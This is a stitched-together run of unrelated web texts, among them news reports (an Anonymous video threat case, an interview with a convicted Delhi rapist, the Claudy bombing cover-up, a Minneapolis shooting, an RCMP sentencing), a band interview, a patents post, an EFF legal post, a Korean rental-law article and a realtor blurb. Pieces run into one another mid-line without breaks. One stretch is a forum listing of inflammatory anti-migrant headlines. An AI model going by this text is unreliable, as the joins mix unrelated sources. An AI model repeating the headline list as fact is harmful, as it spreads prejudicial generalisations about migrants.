Fairfax Media has asked Mr Walker for comment. He is yet to respond. In a message on YouTube, the clip’s creator - believed to be Mr Walker - said the final line of the video was not a veiled threat to the Premier, but rather a twist on Anonymous’ famous sign off: “We do not forgive. We do not forget. Expect us.” ‘‘... they used our motto "expect us" and turned it into a threat... ok, so what did i [sic] threaten to do? lol,’’ Trojan Walker’s response reads. ‘‘i [sic] have never hurt anyone nor has anyone i [sic] associate with, but, we are watching, and he can expect his lies to be made public.’’
However, Police Minister Jack Dempsey said the creators of the clip were ‘‘gutless cowards’’. ‘‘They have to hide behind a mask,’’ he told reporters on Monday. The anti-government YouTube clip features an activist speaking in a computerised voice. ‘‘There are cases where normal people on motorbikes have been harassed, searched and investigated for nothing more than riding a motorcycle,’’ the message says. ‘‘The bill has already been used against everyday people like you and me... Campbell Newman has gone too far.’’
The footage used appears identical to that used in other YouTube videos posted by Anonymous activists in the US. Police are investigating. Loading Anonymous, a loosely associated international network of activists and hackers, is known for highly publicised cyber-attacks around the world since it was established in 2003. In 2012, Time magazine called Anonymous one of the "100 most influential people" in the world.ONE OF THE men sentenced to death for the gang rape and murder of a woman in India has said the victim was killed because she fought back.
Mukesh Singh was speaking to the BBC as part of an upcoming documentary.
The December 2012 murder of 23-year-old medical student Jyoti Singh shocked the world.
Sunday’s programme will feature an interview with Mukesh Singh, one of four men convicted.
The young woman was beaten with iron bars during the rape and was thrown from the moving bus along with her friend. She suffered horrific injuries and died 13 days later.
In the interview, Singh describes the murder as “an accident”:
When being raped, she shouldn’t fight back. She should just be silent and allow the rape. Then they’d have dropped her off after ‘doing her’, and only hit the boy.
The brutal rape set off waves of protest in India, giving voice to years of anger over the treatment, rape and sexual harassment of women.
Singh also spoke about rape across India, claiming that women are more responsible for rape than men.
“You can’t clap with one hand – it takes two hands. A decent girl won’t roam around at 9 o’clock at night,” he told the BBC Storyville programme.
“A girl is far more responsible for rape than a boy. Boy and girl are not equal. Housework and housekeeping is for girls, not roaming in discos and bars at night doing wrong things, wearing wrong clothes. About 20% of girls are good.”
Singh is also appealing his death sentence and claims his execution, along with the three others, will make it more dangerous for rape victims:
The death penalty will make things even more dangerous for girls. Now when they rape, they won’t leave the girl like we did. They will kill her. Before, they would rape and say, ‘Leave her, she won’t tell anyone.’ Now when they rape, especially the criminal types, they will just kill the girl. Death.
The programme will be broadcast on Sunday 8 March, International Women’s Day, on BBC Four.The Catholic Church in Northern Ireland has admitted that a priest was the leader of an IRA unit that exploded a bomb in 1972 that killed nine people, five Catholics and four Protestants including an eight -year-old girl. Thirty people were injured.
Police ombudsman (overseer) Al Hutchinson has verified that the Royal Ulster Constabulary the British government and the Catholic Church covered up for the priest, Father James Chesney (left) who was never charged and moved to a new parish.
Hutchinson revealed that the RUC at the time had top-grade intelligence that Chesney was a senior figure in the IRA unit that planted three car bombs in the County Derry village of Claudy in 1972.
The then Catholic primate of all Ireland, Cardinal William Conway, and the then Northern secretary William Whitelaw, were made aware by police of Father Chesney’s alleged involvement.
Chesney was subsequently moved to a parish in Co. Donegal but was never arrested or interviewed about the bombing or any other IRA activity. He passed away in 1980.
The cover up was discovered during a search through old cases by a Police Service of Northern Ireland investigator Sam Kinkaid.
Hutchinson has accepted the new documentation proves Kinkaid’s suggestion of a cover-up involving the RUC, the British state and the Catholic Church.
The current Catholic primate Cardinal Seán Brady has commented on the report today. Father Chesney was sent to to a Donegal parish under the jurisdiction of the late Bishop of Derry, Dr Neil Farren.
Bishop Edward Daly, was appointed to the diocese of Derry and Raphoe in the spring of 1974. Bishop Daly has also made a statement.
Kinkaid’s report showed that Cardinal Conway and an unnamed senior RUC officer were briefed on the attack right after the bombing.
As a result, Cardinal Conway held direct discussions with Northern Secretary William Whitelaw on the issue in December 1972, during which the Northern secretary made clear his knowledge and disgust at the priest’s involvement.
Conway was apparently worried that news of of Father Chesney’s involvement would allowed loyalist paramilitaries to declare all Catholic priests “legitimate targets”.
The IRA had attempted to issue a warning from nearby Dungiven, but were unable to do so because an earlier bomb had damaged the telephone exchange.
Standing outside the village hotel where the third device detonated, survivor Paul O'Kane recalls that day nearly 40 ago.
"There was absolute devastation," he told Sky News.
"It was like something you would see on the news now in Baghdad.
"There was smoke, there was a motorbike on fire, cars on fire, there were no windows left and there was nothing but moaning and groaning.”
Today Northern Ireland secretary, Owen Paterson, said: "For my part, on behalf of the government, I am profoundly sorry that Father Chesney was not properly investigated for his suspected involvement in this hideous crime, and that the victims and their families have been denied justice.
He added: "My anger at the actions of those responsible for the attack is matched in strength by my sorrow that the survivors of the atrocity and the relatives of the dead did not see those responsible brought to justice for their crimes.
"I recognise, of course, that all those involved in combating terrorism at the time were making decisions in exceptionally difficult circumstances and under extreme pressure."
In a joint statement Seán Brady, the archbishop of Armagh, and Séamus Hegarty, the Bishop of Derry, described the bombing as "an appalling crime", saying: "We accept the ombudsman's findings and conclusions."
They added: "Throughout the Troubles, the Catholic church, along with other churches in Northern Ireland, was constant in its condemnation of the evil of violence. It is therefore shocking that a priest should be suspected of involvement in such violence.
"This case should have been properly investigated and resolved during Father Chesney's lifetime. If there was sufficient evidence to link him to criminal activity, he should have been arrested and questioned at the earliest opportunity, like anyone else. We agree with the police ombudsman that the fact this did not happen failed those who were murdered, injured and bereaved in the bombings."Photo courtesy of Nick Fancher
For the past few years, Sara Taylor and Ryan George of Youth Code have done everything in their bodies to make aggressively contemporary and captivating industrial music. The LA-based duo started as a sort of experiment to see whether or not their relationship would make a poignant transition into music. Luckily it worked, combining George's past in hardcore bands with what Taylor absorbed after being a roadie for metal bands for years to create an industrial power house of sound. It caught on quick, landing the band on tours with the likes of Skinny Puppy, AFI, and more who would soon experience their brand of heavy machinery havoc.
The duo are releasing their second LP, Commitment to Complications, on April 8. The record builds on Youth Code's back catalog of hyper-aggro industrial, imbuing it with a sense of almost-beauty. It's their most fully realized music to date, capitalizing on Taylor's tense, snarling vocals to create a dichotomy between her harsh vocal harmonies and newfound melodies in production. That's not to say they've gone soft whatsoever, as seen with the first track from the new record, "Transitions," which we're premiering below. Synthesizers get wirted to sound more frenetic than music from the duo's past, creating a high-paced, ultra sharp tone and sound. The music twists and whirls into a loud, slamming breakdown of steely drums and political samples. It's a machine of a track to put a hole in something along to, taking pleasure in the bruising.
Read our interview with the band below, and listen to "Transitions." You can pre-orderright here
NOISEY: So you guys are at what’s the most exciting point for a record I imagine, when the record leaves the headspace and enters the public where you see people really reacting to the music. Because it’s an awesome record.
Sara Taylor: Yeah, it’s weird because I think every artist has this moment or feeling where you create this, similar to a child, you create this idea, sort of harbor it and let it birth, and it goes into the world so you get feedback on something you’ve been spending so much time on to let manifest. Yeah. It’s like a child. And now we have a couple children.
It becomes a different beast. The other thing that’s interesting as well has been seeing not only the interpretation of like, the immediacy of a record and being like “fuck yeah,” but when people come up to you and talk about lyrics or textures in sound, it’s really interesting to see how other people listen to and interpret it on their own thing. Sometimes people get it super wrong, but it’s super cool to see how they get to where they do.
What’s been the most wrong interpretation?
Sara: Fuck, I don’t know. Lyrics have always been interesting to me because I just try to write as personal as possible. I guess since I’m so vocal about my belief system, people assume every song has to do with a belief system and they’re like “fuck yeah, political stuff!” A lot of people thought “Consuming Guilt” because of the video pertained to animal abuse, I think a lot of people thought that since we’ve been vocal about being vegan, I was basically saying “you should feel guilty about eating animals” which is completely not the case in lyrical content of the song.
When writing lyrics, do you try to make things more on the ambiguous side rather than make things super specific?
Sara: I think for me, I don’t know if I want to write things as literal as I feel them. Because that thing makes for a cool hardcore record, or like a Morrissey record where these people are talking about something happening in their lives. But I like making things a little more poetic and less obvious. On this last record, I think I wrote a lot of things that anyone can take to their own interpretation of stuff. I don’t know, I don’t want things to be like Mark Kozelek or whatever. [laughs] That shit’s not interesting to me.
I think in this genre of music especially, from a kid up to now even, it’s always been that kind of non-specificity in the hurt or emotion from guys like Trent [Reznor] or [Nivek] Ogre that always had the most impact.
Sara: It’s interesting. I tried super, super hard when we toured with Skinny Puppy the first time not to be a fucking complete Chris Farley interview kind of person. [laughs] I tried to be like “oh cool” kind of person. Then the second tour we did, Ogre was like “oh here’s the setlist” and he’d tell me what songs were about, even without me asking. “This is what this song is about, this is how this song applies to this that and the other” and it was “wow this is really cool you’re telling me this without me having to ask.”
Man, it’s wild that in four years, you two kind of started off this project as sort of an experiment to see if you’d work in a band together, and now it’s become something where you’re touring with fucking Skinny Puppy.
Ryan George: Yeah, it’s pretty cool. I feel like this full-length we just did is the best representation of us musically. That first LP, like you said it wasn’t like “let’s be a band,” it was that Sara booked us a show and said “let’s do this” and we didn’t really know what we were doing. The first LP was more that we just needed an LP and it was like “I don’t know what I’m fucking doing at all,” so I just threw shit together. This one, we’d been a band for a while and we’ve been able to soak in our music influence, and get a blueprint of what we do. This record is obviously our second LP but in a lot of ways feels like our first, real record. Like, this is what Youth Code sounds, this is what we do.
With the new record, I think in my head the idea of Youth Code’s sound was this heavy, aggressive electronic kind of thing. But the stuff in this record that stood out and affected me was like this dichotomy of Sara’s voice still being aggressive, but the music itself there’s these spots of “almost-beauty” and melody that accentuates everything
Ryan: That was a real, conscious thing. It’s kind of weird to say, but I’ve been telling Sara since forever that on the next LP we’d introduce something we’d never done before, which is the kind of melody, strings and choir patches. It gives it another depth, because this record really, we weren’t trying to mimic anything, it’s like “let’s sit down and make music that we listen to.” And that can be like, a whole spectrum of things. We listen to a lot of pretty music, punk, metal, industrial, techno stuff, and it kind of put everything into a blender without trying to mimic Nitzer Ebb or whatever.
Sara: Not that we ever tried to mimic Nitzer Ebb.
Ryan: They were kind of a guide when we first started though. At the beginning, I’d been doing electronic stuff on my own for at least five years before I met Sara but I’d never done it in a band. I kind of looked to old EBM and industrial music as a guide in the beginning, but now I feel a little more confident where I’m able to just sit down with the machine and write stuff. And adding melody on top of it, it really opened things up and it made us able to do a lot of things lyrically that a lot of industrial bands hadn’t touched on before, and the record is more emotional.
How did Industrial kind of weave its way into your life?
Sara: I guess when I was really young, my mom and dad divorced when I was like four or five or something like that. And my dad had always been, like my number one no matter what. Between my mother’s and father’s relationship on their own, I always looked to my dad as the coolest person that ever existed in the entire universe. Even still, I mean my dad’s crazy, but I still think he’s super cool. When I was younger, my dad had a drug problem when I was really young. So I don’t know if it’s something about old Nine Inch Nails or old Ministry, but it’s this futuristic kind of going as fast as possible with a lot of electronic music, and my dad really liked electronic music. So he got me into Depeche Mode, Pet Shop Boys, and he’d always have CDs in the jewel case like the “Jesus Built My Hotrod” single, or Nine Inch Nails’ Broken, or Marilyn Manson’s Portrait of an American Family.
So all this stuff intrigued me, like “oh my dad likes electronic music, I like metal, this stuff is a rad hybrid.” So growing up in LA, it wasn't something I talked about with a lot of people. I just kind of told people I liked metal, but I was always super into industrial because it was the stuff my dad listened to. So probably when I was fifteen or sixteen I’d sneak into goth clubs, and around nineteen I’d started touring seriously with metal bands. And like any time I saw a kid that was kind of goth, or had a Bauhaus tattoo, I’d always be like “tell me where you hang out.” Because I wanted to see this sort of shit and go to those kind of clubs. Growing up and being into industrial, it’s cool that it’s a thing people can talk about and stuff now, but when I was younger it was something I never really spoke to people about.
Ryan: It’s funny, when we started this band, like now you can’t not see someone in a Godflesh shirt or whatever, but then it was so crazy how many people we’d known forever, band dudes or friends of ours, that were just like “holy fuck I love industrial music, it’s so rad you guys are doing this.”
Sara: I thought they were lying at first because no one I knew liked industrial! [laughs]
Ryan: Yeah, I don’t know if it was a dirty secret or something that got forgotten about but it was fucking rad to see people just stoked. Now, there’s so many bands that have been around that are starting to put electronics in their band, like The Body’s doing crazy shit, and Full Of Hell. It’s crazy seeing what’s happening now. Like 90s industrial music, it’s so forward thinking to mix samples with full-on band, it’s something that was definitely ahead of it’s time.
Do you think electronic music is getting any more dangerous?
Sara: No. [laughs] There are things that are cool and cutting edge, but I don’t feel a lot of authentic aggression. In the same way that like, if you look at old Nine Inch Nails, or old Ministry, or old Skinny Puppy.
Ryan: Or older power electronics stuff.
Sara: Right, like William Bennett taking his shirt off, screaming about sexual abuse. That’s like terrifying, you don’t want to walk into a dark room of a hundred sweaty men seeing a guy screaming about rape. That shit’s fucking dark. I don’t see a lot of that with electronic music. There’s cool stuff going on, but nothing seems dangerous.
Ryan: Especially with noise, like there’s so many noise bands and there’s a lot of good stuff, but every tape looks the same, it’s the same fucking edgy photo. Like there’s some really cool shit, but that’s how it goes. When something gets really big the cycle comes around, there’s a lot of mimicking and a couple people do some really awesome shit. So hopefully we’ll see that this year or next year. Plus with a lot of techno dudes getting back to industrial roots.
Sara: I think it’s hard for any type of musician to make something dangerous.
Ryan: Yeah, maybe because I’m older and I’ve seen a lot of shit, but I never go to shows anymore and I’m like “oh holy fuck that was insane.” Like, I’ll see a band and it’ll seem kind of dangerous, and then the next time it’s like, well that’s there thing. I mean I don’t think we are either. I guess you have to have faith that cool shit will happen, but danger will probably reappear in a different medium.
Sara: As far as danger in music, I think it’s kind of unavoidable with technology. I’m sure everyone has a fucking diatribe about this, but I think when things are too accessible, everyone knows the score. Nothing is dangerous if you can preview it on YouTube. And I’m really psyched on the advancements in music and technology and things of that matter. But with this constant yearning of “how do I get the first scoop, how do I post these things” you kind of cut out the “oh I heard a story about this band where they like threw light bulbs at the audience” or whatever. The only way that can be is if you don’t have a social presence, but then it stagnates because if you don’t have presence nobody will find you. It’s a weird catch-22. There could be elements of danger in the future we don’t see, and I’m just going off of my head, but what if an artist did something like they put their record in your phone without your knowing? And not on a big format like U2 with an Apple sponsorship, but what if something put it in front of you without your consent? Things like that are going to be scarier than live performances. Commitment to Complications is out April 8 via Dais Records.
Follow John Hill on Twitter.
1. (Armed)
2. Transitions
3. Commitment to Complications
4. The Dust of Fallen Rome
5. Anagnorisis
6. Doghead
7. Glass Spitter
8. Lacerate Wildly
9. Avengement
10. Shift of Dismay
11. Lost at SeaAccording to media reports, 5 people participating in Black Lives Matter protests were shot in north Minneapolis.
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MOSCOW (Sputnik)Five people participating in Black Lives Matter protests were shot by what are said to be "white supremacists" in north Minneapolis, local media reported Tuesday.
The incident happened late Monday near the 4th Precinct police station, where Minneapolis residents have been engaged in a sit-in protesting the November 15 killing of an unarmed African-American, Jamar Clark, during a struggle with police.
"A group of white supremacists showed up at the protest, as they have done most nights," Miski Noor, a media contact for Black Lives Matter, was quoted as saying by the Star Tribune newspaper.
According to Noor, the protesters tried to drive the group away, after which "they opened fire on about 6 protesters," hitting five.
Those who were shot were hospitalized with non-life-threatening injures, deputy police chief Medaria Arradondo said, as cited by the newspaper. No arrests have been made.
Long-standing racial tensions in the United States have frayed increasingly following the high-profile murders of two unarmed black US nationals last year in which separate grand juries declined to pursue indictments against police officers who performed the killings.As anyone trying to innovate in the open source space can tell you, patents are nearly useless. However, Michigan Tech has released a free inactive patent search for finding public domain intellectual property in the hope of fostering innovation in the open source arena.
Patents were initially written into the U.S. constitution to enhance innovation. They would enable inventors to earn a return on investment for their efforts in creating new useful artifacts using a 20-year intellectual monopoly. In exchange, the nation benefited from access to the "intellectual property" after 20 years. Back when the most effective means of transportation was the horse, a 20-year innovation cycle did not seem that abhorrent. Since then, the rate of innovation has accelerated substantially. Consider what your 20-year-old cell phone looked like if you even had one. How about a 20-year-old computer? Many authors now argue that patenting actually slows technological progress overall (regardless of whether we are talking about software patents or nanotechnology patents). The patent system is simply broken.
As a partial solution, my group has called for patents to be weakened significantly.
There is evidence to suggest that hardly anyone uses patents to innovate anymore. The majority of scholars studying patents argue that researchers do not bother to read them because they do not contain useful technical information (or at least enough of it to replicate the actual invention). Instead they are borderline useless other than as a means for subsidizing lawyers to write ever broader and more opaque claims. In this way patents are viewed as sort of an "anti-instructable" as compared to a real instructable that you can use to actually make something. However, employees working for some traditional intellectual-property-loving corporations are told not to look at the patent literature when innovating as it could weaken their legal arguments in anticipated lawsuits. If you look at the patent literature you could be liable for "willful infringement."
This is all bad news for the patents system. However, the USPTO has established this enormous database of innovation—surely at least some of it is useful technology that has fallen into the public domain. To search for patents that have expired one can set a T-20 year period at the USPTO search or Google Patents. Every once in awhile there is a gem, but the burgeoning, free and open source hardware (FOSH) community is not overly enthralled with 20-year-old tech. Instead of reinventing the wheel, the ability to find IP in the public domain, would help accelerate inventors and FOSH developers' ability to continue to develop more advanced technologies.
However, there is good news. In the U.S. patent system, if maintenance fees (required at 3.5, 7.5, and 11.5 years for $1,600, $3,600 and $7,400, respectively) are not paid, an issued patent goes into the public domain. This is not a trivial release into the public domain as about 50% of all issued patents expire prematurely for failure to pay maintenance fees. There was not a readily available way to tell which patents were in the public domain and which ones were not. You had to drill down into each patent in the USPTO's PAIR website. This is an incredibly boring waste of time.
The challenge was how to integrate inactive patent numbers to their title and issue date, so that they would become openly available to everyone and users can search through them effortlessly using keywords. I am happy to report that Yuenyong Nilsiam, a Ph.D. student at Michigan Tech, did this. In a recent paper titled, Open Source Database and Website to Provide Free and Open Access to Inactive U.S. Patents in the Public Domain in Inventions we explained how it was done. Access the free inactive patent search, and if you are hardcore and you want the code to set up your own database and website (or maybe set up custom searches), it is of course open source and freely available.Just a few months ago in United States v. Cassidy, a court smacked down a prosecutor's attempt to use the federal anti-stalking law to punish a man for criticizing a religious leader on Twitter. The court ruled that the criminal charges brought against the critic ran afoul of his constitutional right to free speech. Because the law violated the First Amendment as applied to that specific Twitter user, though, the court chose not to go a step further and decide whether the statute is unconstitutional as written, which EFF had argued in a "friend of the court" brief.
Now the Senate is thinking about passing legislation to update that problematic law. Instead of fixing the statute's shortcomings, however, the bill would guarantee that it's blatantly unconstitutional on its face.
As originally written, the anti-stalking law made it a crime to intentionally put another person in reasonable fear of death or serious injury. But the law was expanded in 2006 through the Violence Against Women Act to criminalize causing "substantial emotional distress" to another person using an "interactive computer service" such as the Internet. The law doesn't even require that the offending speech be directed at a particular person — a tweet, Facebook status update, or blog post that distresses someone else could be enough to send the speaker to prison. As the Cassidy decision makes clear (and as EFF had argued), this language is so vague and overbroad that it could sweep up a great deal of legitimate online criticism squarely protected by the Constitution.
Rather than clarify the statute to solve those problems, the Violence Against Women Reauthorization Act of 2011 would significantly extend the law to punish more speech — and it could go to the Senate floor as early as tomorrow.
First, section 107 of the bill would broaden the anti-stalking law to criminalize conduct that "attempts to cause, or would be reasonably expected to cause" substantial emotional distress to another person. That's a significant expansion that only amplifies the statute's free speech problems.
To make matters worse, section 1003 would amend federal telecommunications law to punish anonymous online speech that "harass[es] any specific person," as well as make it illegal to "repeatedly initiate[] communication with a telecommunications device, during which conversation or communication ensues, solely to harass any specific person." As Professor Eugene Volokh notes, these broad prohibitions would seem to apply even in situations where an online speaker is talking to the general public, rather than communicating directly with the target of the speech.
Anti-stalking laws serve an important purpose: to protect people who are put in legitimate fear for their wellbeing. Unfortunately, the language of the federal anti-stalking law is already dangerously vague and overbroad, and we're disappointed to see lawmakers think about compounding those problems with a proposal that amounts to Internet censorship legislation. (Just a few weeks ago, Arizona's legislature suffered a public backlash for passing a bill with similar flaws.) The Senate should craft a fix that protects victims while respecting free speech, not make an unconstitutional law even more unconstitutional.49 points · 262 comments
Jeremy Clarkson claims trans children have ‘minds poisoned by lunatic parents’
78 points · 166 comments
Sweden. 20 y.o. female swedish worker stabbed to death in asylum center
20 points · 36 comments
Swedish police warn Stockholm's main police station is now overrun by migrant teen gangs'stealing and groping girls'
32 points · 33 comments
[Sweden] refugee rapes child at bathhouse.
32 points · 25 comments
[Sweden] Police had to flee the emergency exit at asylum centre. "I was prepared having to fight for my life".
24 points · 27 comments
WATCH: Ungrateful 'Wristband Migrant' Complains Free, Tax Payer Funded Meals Are The Same Twice A Day
27 points · 10 comments
German bus driver holds migrant in a headlock after he is caught stealing
79 points · 17 comments
The daily rape: 18-year old German raped by 2 Iraqis/Turks in Munich
15 points · 7 comments
Merkel accused of RUINING Germany as New Year sex-crimes confirmed in 12 of 16 |
out his desk, and no one noticed that he was missing.
Hanna-Barbera
This is what they think Pac-Man being chased looks like.
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The Walking Dead is a better Pac-Man cartoon than Christmas Comes to Pac-Land -- at least the prison episodes had straight hallways with sharp turns, and some characters were trying to eat the others. It's also a better kids' show, because the entire third act is Pac-Man dragging a sack of toys through the freezing cold and trying not to die. You'd swear that the staff were channeling their own feelings about finishing this stupid project.Obrigada por começar sua busca de casas na Florida comigo. Este site está cheio de informações para você que esta buscando comprar ou vender um imóvel. Alguns dos muitos recursos que você vai encontrar aqui é a capacidade de pesquisar todas as casas disponíveis no mercado de Orlando e em áreas adjacentes.
Eu posso colocar a sua casa a venda ou te ajudar a encontrar a casa dos seus sonhos. De qualquer forma, o meu objetivo é tornar a sua experiência confortável, rápida e eficiente.
Quando você precisar de uma corretora Brasileira na área de Orlando que vai dedicar-se a obter os resultados que você quer, me chame, e eu vou ajudá-lo (a) a encontrar a propriedade certa ou o comprador certo para a sua propriedade.Please enable Javascript to watch this video
A man is being sought in connection with a road rage shooting incident in Pomona, officials said.
The incident was reported about 7:25 p.m. Sunday and five people were in the SUV that was shot at.
The driver of the SUV and the suspect apparently were involved in a “mutual road rage incident” in the area of Washington and Kingsley avenues, when the victim followed the suspect to Clark Avenue and Pasadena Street, police said.
The suspect then pulled over, got out of the vehicle and fired two rounds toward the victim’s vehicle.
The victim’s vehicle was not struck and no injuries were reported.
Police said the victim was in the vehicle with a woman and three children.
Video from the scene showed the victims being interviewed by authorities.
The suspect is described as a man between 20 and 25 years old, with a thin build and mustache. He was last seen wearing a dark blue Dodgers cap and a dark-colored shirt.
He faces assault with a deadly weapon charges.
Anyone with information about the incident can call the Pomona Police Department at 909-620-2085.(Adds details, Kerry quotes)
WASHINGTON, Nov 4 (Reuters) - U.S. President Barack Obama will confront Chinese President Xi Jinping at talks in Beijing next week over deep U.S. concerns about cyber spying by China’s government and military and will insist that it be stopped, senior U.S. officials said on Tuesday.
The officials, briefing reporters before Obama’s trip to Beijing for an Asia-Pacific summit and one-on-one meetings with Xi, said that while U.S. complaints had brought about a temporary reduction of Chinese cyber espionage, there had been no fundamental change in behavior.
Cybersecurity has been a significant irritant in ties. The U.S. Federal Bureau of Investigation last month said hackers it believes to be backed by the Chinese government recently launched more attacks on U.S. companies, a charge China rejected as unfounded.
In May, the United States charged five Chinese military officers with hacking American firms, prompting China to shut down a bilateral working group on cybersecurity.
Obama’s message to Xi will be that China, the world’s second largest economy after the United States, cannot continue seeking competitive advantage over other countries using methods that violate international norms, one of the officials said. China has denied the accusations.
“We’ve been very clear about how strongly we object to any cyber-enabled theft of trade secrets and other sensitive information from our companies, whoever may be doing it,” U.S. Secretary of State John Kerry said earlier on Tuesday in a speech at Johns Hopkins School of Advanced International Studies in Washington.
“And we are convinced that it is in China’s interest to help put an end to this practice,” Kerry said just hours before leaving on a trip that will include a stop in Beijing.
Washington is also at odds with Beijing over its human rights record and assertive actions in disputed waters of the East and South China Seas, but U.S. officials insist they want to constructively manage differences. (Reporting by Matt Spetalnick; Editing by Doina Chiacu and Jim Loney)Jeonse (Hangul: 전세; Hanja: 傳貰), also known as Chonsei, Key Money Deposit[1] or Key Money,[2] is a real estate term unique to South Korea that refers to the way apartments are leased. Instead of paying monthly rent, a renter will make a lump-sum deposit on a rental space, at anywhere from 50% to 80% of the market value.
Operation [ edit ]
Jeonse involves the tenant giving the landlord a large sum of "key money" when a lease is signed. The amount of money required depends on the economy and the location of the property. Usually the amount required is 50% of the property's value, but can be as high as 60-80%.
In 2014, it was reported that the average cost of a Jeonse in Seoul equals to almost $300,000 USD.[2]
The tenant is then allowed to stay in the property "rent-free", not requiring any additional monthly payments, until the end of the lease, which is usually 2 years.[3] Utilities and other costs (water, gas, electricity, cable, phone, internet, security) are applied for and paid by the tenant.
The landlord makes a return by taking the deposit money and investing it and keeping all interest earned on the deposit. The tenant's deposit is protected by having a lien issued against the property for the amount given. The entire deposit is then returned to the tenant at the end of the lease.
In rare cases where damage has been done to the property, the damage has to be fixed to the landlord's standard before a landlord will return the deposit.
This system is popular for two main reasons. First, there are very few mortgages in South Korea[citation needed], so it is difficult for consumers to own a home. Also, real estate prices continue to increase so fast that some see the situation as a housing bubble.
During times of lower interest rates, wolse (월세), or monthly rent, is more often used. With a wolse lease, a renter signs a lease for 1 or 2 years and makes a deposit on the apartment equal to perhaps 10% of the market value. The renter then pays monthly rent.
Risks [ edit ]
As Jeonse tenants are not obligated to pay any monthly rent, it may lead them to believe that Jeonse is a great deal in all aspects. However, there is a certain level of risks of which the tenants shall be aware for leasing an apartment by Jeonse.
Rising housing market [ edit ]
Jeonse tenants are taking a short position in the housing market in some sense. When the apartment price goes down the amount of Jeonse deposit goes down proportionally, although this may not always be the case. In such circumstances, the tenants will get the difference back when they renew the lease, at least in theory. However, if their landlords fail to provide the difference either with their own money or by taking a loan, the tenants are left with a few difficult options such as a lawsuit. On the other hand, when the apartment price goes up the deposit may go up as well, and the tenants shall fill the gap when they renew the lease.
Variable interest rates [ edit ]
It is a common practice that Jeonse tenants have the deposit ready by taking a loan from a bank due to the sheer amount of the deposit. If they take a loan with a variable annual percentage rate (APR), which is fairly common, they are exposed to the risk of rising interest rates. However, banks are able to provide a very low APR (2-4%) as the deposit may be taken as a collateral.
Dishonest landlords [ edit ]
Some landlords may have a large amount of overdue taxes. In such cases, the government may put the apartment up for auction in an attempt to collect the overdue taxes. When the apartment is sold, the government collects the overdue from the profits from the auction.[4] Since national tax (국세) and local tax (지방세) take a higher priority than the tenants, they may lose some or all of their deposit, depending on how much their landlords owe the government.
See also [ edit ]
Key money
Real estate in South Korea
Antichresis, (Anticrético in Spanish), a system common in Bolivia, due to limited access to credit.by
Gotham Academy is a comic unlike anything else DC is putting out right now: Closer in spirit to Harry Potter than The Dark Knight, it’s a supernatural boarding school story set in the Batman universe. Batman himself is a peripheral character, and in fact the lead character, Olive Silverlock, loathes him, for reasons that aren’t entirely clear yet. Olive’s group of friends are diverse in every sense of the term, but unlike a lot of teen team books, that works in a very natural way: Some of them start out hating each other but gradually come around, others go out of their way to please. And everyone contributes their unique talents, which aren’t always viewed in a favorable light by the rest of the world, to the business of solving supernatural mysteries.
In Gotham Academy #9, they turn their attention to a werewolf. This is the second issue in this story arc, which started with issue #8. Issues #1-6 have been collected into a trade paperback, Gotham Academy, vol. 1, which Lori reviewed here, and issue #7 is a standalone.The RCMP "took a chance" with officer safety when it didn't equip its members with carbine rifles and should pay the maximum penalty of $1 million for the 2014 shooting deaths of three Moncton Mounties and the wounding of two others, the Crown argued at the national police force's sentencing hearing on Thursday.
Crown prosecutor Paul Adams said in Moncton provincial court that mismanagement and a confounding lack of urgency are to blame for the Labour Code conviction stemming from the shooting rampage of Justin Bourque on June 4, 2014.
The sentence needs to send a strong message to bring a significant cultural change within the national police force, he said.
Adams also asked the RCMP be ordered to make a public statement following sentencing.
The RCMP was found guilty in September of failing to provide adequate use-of-force equipment and related user training to the Moncton Mounties, who were killed or wounded trying to stop the heavily armed gunman.
Judge Leslie Jackson ruled that patrol carbines could have made a difference that night, but the organization "limped along" on the issue and left its officers "ill-prepared."
Defence lawyer Mark Ertel recommended a total penalty of $500,000 — a $100,000 fine and $400,000 in donations, which he said the RCMP could pay immediately.
The national police force is a public institution with a fixed budget, he stressed, so the penalty amount will take away from other matters, such as crime prevention.
'Model reaction'
Ertel argued the RCMP has accepted responsibility, pointing to the "immediate, sweeping, and public" hiring of Alphonse MacNeil to review the shooting and make recommendations.
Almost all of MacNeil's recommendations have been fully implemented, he said. Those recommendations included training officers on carbine rifles — high-powered, short-barrelled rifles that have a longer and more accurate range than a pistol or shotgun.
Former RCMP commissioner Bob Paulson, pictured here in the centre leaving the Moncton courthouse with defence lawyers Ian Carter, left, and Jon Doody during the trial earlier this year, retired at the end of June. (Andrew Vaughan/Canadian Press)
Nearly 5,000 carbines are now available to front-line officers, said Ertel, and 74.5 per cent of front-line members at the Codiac RCMP detachment in Moncton are trained to use them.
"This is not a response of an organization that does not clearly accept responsibility," he said. "It's a model reaction."
Jackson will rule on sentencing on Jan. 26 at 9:30 a.m.
Widow tells court of 'traumatic loss'
During the sentencing hearing, the court heard an audio recording of a victim impact statement by the widow of Const. Fabrice Gevaudan, who was killed along with constables Douglas Larche and Dave Ross. Constables Darlene Goguen and Eric Dubois were wounded.
Angela Gevaudan, who used to work as a dispatcher for the RCMP, said she was aware the deadly outcome of June 4 was a very real possibility before that night and she had expressed her concerns to superiors.
She contends there should be an independent body to oversee RCMP officer safety issues. Otherwise "these types of issues will never be properly addressed," she said.
"My family and I have suffered a traumatic loss because of the events of June 4," said Gevaudan.
The fact people were aware of safety issues before that night has only increased her suffering, she said.
'Lives could have been saved'
Nadine Larche, widow of Const. Doug Larche, pictured here after the judge's verdict on Sept. 29, wrote in her victim impact statement that she believes her husband would still be alive if the officers had the proper 'tools' on June 4, 2014. (Andrew Vaughan/Canadian Press)
Nadine Larche, whose husband was the third Mountie killed that night, told the court "lives could have been saved" by "better decisions and better actions by those in charge."
"I firmly believe that my husband, and the father of our three children, would still be alive today had he and his colleagues had the proper 'tools' to fight back better that fateful day," Larche wrote in her brief victim impact statement.
Lives were lost. Lives were forever changed. - Nadine Larche, widow
She and her daughters, now aged seven, 12 and 13, "feel his loss in every moment of every day."
"Lives were lost. Lives were forever changed."
Larche said she is too mentally and physically exhausted to write "another" statement and instead "humbly" submitted a poem she wrote three years ago when her husband was murdered.
It reads in part: " No more wedding anniversaries to celebrate. No more baking Daddy's birthday cake. No retirement party to attend. No more going on dates with my best friend."
Const. Rob Nickerson, who served that night, also submitted written victim impact statement for the judge's consideration.
Deficiency identified 7 years prior
The Crown reviewed the evidence heard at trial, noting RCMP understood as early as 2007 there was a weapons deficiency if officers had to respond to active threat situations.
Carbine rifles would have been 'a game changer' when Moncton RCMP officers faced the heavily armed Justin Bourque on June 4, 2014, the Crown said. (CBC)
But seven years later, on the night of the shootings, there were still no carbines available in Moncton, and none of the officers were trained to use them.
